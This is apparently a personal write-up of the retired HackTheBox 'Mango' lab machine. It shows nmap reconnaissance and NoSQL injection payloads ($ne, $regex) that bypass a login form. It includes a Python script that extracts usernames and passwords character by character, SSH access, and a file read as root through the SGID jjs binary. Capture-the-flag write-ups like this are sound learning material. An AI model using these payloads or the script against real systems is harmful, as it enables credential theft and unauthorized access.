HTB-Mango
Brief Summary
Hello, this is my first writeup and it’s going to be about HackTheBox: Mango machine. The box is retired now which means we can talk about it publicly. I personally enjoyed playing mango machine, I learned new stuff and had fun.
Nmap
Starting off, with nmap to get an idea about the machine and the services running. nmap 10.10.10.162 -A
will provide us with os detection, versions of serviecs running if applicable and traceroute of the target.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-27 20:40 +03
Nmap scan report for 10.10.10.162
Host is up (0.096s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.15 seconds
from the output of nmap, we can note that there is a web application running on port 80/443 and has a certificate with a domain name registered as staging-order.mango.htb
Enumeration
when i visited port 80 i got Forbidden response from server. So i visited port 443 instead. but the page didnt load completely, the broweser notified me for connection not secured, which is weird. So i looked to into the certificate and found this domain staging-order.mango.htb mango that got caught previously with nmap. i accepted the risk and continued. The page loaded completely:
the search engine doesn’t work yet. and ‘Analytics’ was a rabit hole believe me. i spent hours and got put with nothing. lets start burp suite, and intrecpt the traffic. First thing i will do, is to add the hostname resolution rule in burp -> project options -> connections.
this time i visited the new domain, and found a login page. intresting…
lots of mangos appearently. the machine name and these pictures. Lets fuzz the login page little bit with different sql injection techniques. We should also include NoSql. Since you know, MongoDB is one of popular Databases and the box name is some how rhyme with it.
NoSql Injection & More Enumeratation
lets capture the login request with Burp Suite, and send it to repteater.
After trying many things, and looking online for useful articles about slqi on MongoDB. Found this article.
And The way to inject the parameters will be like
original POST data:
username=admin&password=&login=login
injected with NoSql attack:
username[$ne]=admin&password[$ne]=&login=login
By using [$ne]
we specify that stored data in the DB should not be equal to our input.
here we have a redirection.
following that a successful login.
but it looks like the page is not completed yet and it has username/email admin@mango.htb . Anyway lets enumerate more usernames.
By using [$regex]
we tell the server to use ‘Regular Expressing’ for our input and search for it in the database.
Enumerating the login page with username[$regex]=^a&password[$ne]=&login=login
as POST data that gets send to the server with payload of ^
to specify the search for the first letter only, and a because it is the begining of ‘admin’ account.
and it looks like we have a successful login too.
lets try ‘d’ .
the response status code was not 302 (redirection). Meaning that there is no account name that starts with ‘d’ in our case. We can enumrate letter by letter or we can automate this with python.
Here a python script that will enumerate usernames.
Note: i routed the script traffic to Burp Suite through localhost port 8080 for debugging purposes. If you are not using burp please remove the lines from 6-14
1 # python3 nosql-enum.py
2 import requests
3 import re
4 import os
5
6 #=================================================
7 # to send this script traffic through Burp Suite
8 proxy = 'http://localhost:8080'
9
10 os.environ['http_proxy'] = proxy
11 os.environ['HTTP_PROXY'] = proxy
12 os.environ['https_proxy'] = proxy
13 os.environ['HTTPS_PROXY'] = proxy
14 # =================================================
15
16 url = 'http://staging-order.mango.htb'
17 cookies = 'PHPSESSID='
18
19 chars = range(33, 127)
20
21 p1 = ''
22
23
24 def rqst(p1):
25 data1 = "username[$regex]=^"+p1+"&password[$ne]=&login=login"
26 r = requests.post(url, data=data1, verify=False, allow_redirects=False,
27 headers={'Content-Type': 'application/x-www-form-urlencoded'})
28
29 if r.status_code == 302:
30 P1 = p1
31 print('\nfound so far: ' + p1)
32
33 for i in chars:
34 if chr(i) in ['.','?','*','^','+','&','|']:
35 p1 = P1 +'\\'+ chr(i) # to escape chars
36 rqst(p1)
37 else:
38 p1 = P1 + chr(i)
39 print('\r'+p1, flush=False, end='')
40 if len(p1) >=4:
41 x = re.search(".*\$\$$", p1) # exit condition if $ (end of line) was found will exit and print the string without $
42 if x:
43 print('\n\nthis is the string: ' + p1[:-2])
44 exit()
45
46 rqst(p1)
47 return
48
49
50 print(rqst(p1))
running with script python3 we get the following account name admin as expected
Now lets tweak the script little bit to be able to find another username. First thing we should add , ‘a’ in line 34 just like this
if chr(i) in ['.','?','*','^','+','&','|','a']:
this way will skip letter ‘a’ so we can enumerate the first letter of the another target account. Note: if you suspect that there is another account that start with ‘a’ but not admin. you can escape letter ‘d’ instead of ‘a’ for enumeratation.
running the script after tweaking it we get.
we see that ‘m’ is the first letter. Now lets tweak the script another time. Will remove ‘a’ from line # 34
if chr(i) in ['.','?','*','^','+','&','|','a']:
and modify data1
variable and add ‘m’ as a value for username=
parameters.
line # 25 should look like this
data1 = "username[$regex]=^m"+p1+"&password[$ne]=&login=login"
and the result is:
so know we have two account names admin and mango. Now with extraction of passwords. Will tweak the script to fit our needs in this case.
in line#25 we will modify data1
variable to the following:
data1 = "username=admin&password[$regex]=^"+p1+"&login=login"
by this modification we are injecting password parameter instead of username and we hardcoded the username to search for the associated password.
checking out the result. And a successful login.
running the script with mango hardcoded as username.
Initial Foothold & User Own
lets try these creds to ssh in the box.
ssh mango@10.10.10.162
and enter the password when prompt.
Admin account didnt have ssh login.
once we are in the box as mango, will look around for juicy stuff.
mango@mango:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mango:x:1000:1000:mango:/home/mango:/bin/bash
admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin
Since there is *admin username in the box. lets try su - admin
and the creds found earlier.
mango@mango:~$ su - admin
Password:
$ whoami
admin
$
Nice we got in with admin and it looks like admin have user.txt in home directory. Now we should run linux enumeration script such as LinEnum.sh, but we have to download it in our machine first, then move the script to mango box with following commands.
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
python3 -m http.server 80
in mango box we can use wget also to download it from our machine
$ wget http://10.10.YOUR.IP/LinEnum.sh
$ chmod +x LinEnum.sh
and run the script ./LinEnum.sh
Privilege Escalation & Root Own
Looking at the output from LinEnum.sh we see that there is SGID (Set Group ID) binary named ‘jjs’ looks vulnerable. Let me introduce you to a great webpage GTFObin that makes binary exploitation much easier. Search for jjs and you can see many methods of how to abuse SGID on jjs. Here is one way of doing that, will just read the root.txt from root home directory.
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs
lets run the above commands, and we should get root.txt printed out for us.
$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs> > >
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
****************81688424e9ab15ab15
- Thanks for reading.